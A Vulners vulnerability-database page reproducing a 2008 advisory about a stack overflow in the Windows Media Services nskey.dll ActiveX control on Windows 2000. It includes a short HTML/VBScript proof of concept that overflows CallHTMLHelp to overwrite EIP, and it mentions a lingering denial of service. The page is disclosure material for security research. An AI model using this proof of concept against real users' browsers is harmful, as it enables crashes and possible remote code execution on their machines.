Vulners
Lucene search
wms-overflow.txt
`Product: Windows Media Services (nskey.dll)
Products affected/tested: Windows 2000 Server
Windows 2000 Advanced Server
Windows 2000 Datacenter Edition
Attack: Stack Overflow
Technical Details:
Via an activex control that is safe for scripting/initilize, passing atleast 9752 bytes
to CallHTMLHelp will overwrite the EIP and remote code execution may be possible.
PoC exploit:
<html><body>
<object id=target classid=clsid:2646205B-878C-11D1-B07C-0000C040BCDB></object>
<script language=vbscript>
arg1=String(9752, "A")
target.CallHTMLHelp arg1
</script>
</body></html>
This PoC should work fine and overwrite the EIP, hitting 0x41414141 of course. Now for the
part for why I released this information...
Apprently this issue has been very silently fixed (I cannot find ANY information ANYWHERE for or relating to it) by Microsoft a few patches ago.
And.. WINDOWS 2000 IS OLD. Widely used, but still pretty old for a modern operating system.
This bug was pretty exploitable until I used Windows Up2date :(
But, to no surprise, they didn't fix the bug completely. Theres still a DoS after putting
about 525,000 bytes in the buffer. Oh well :)
Jeremy Brown ([email protected])`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Aug 2008 00:00Current
7.4High risk
Vulners AI Score7.4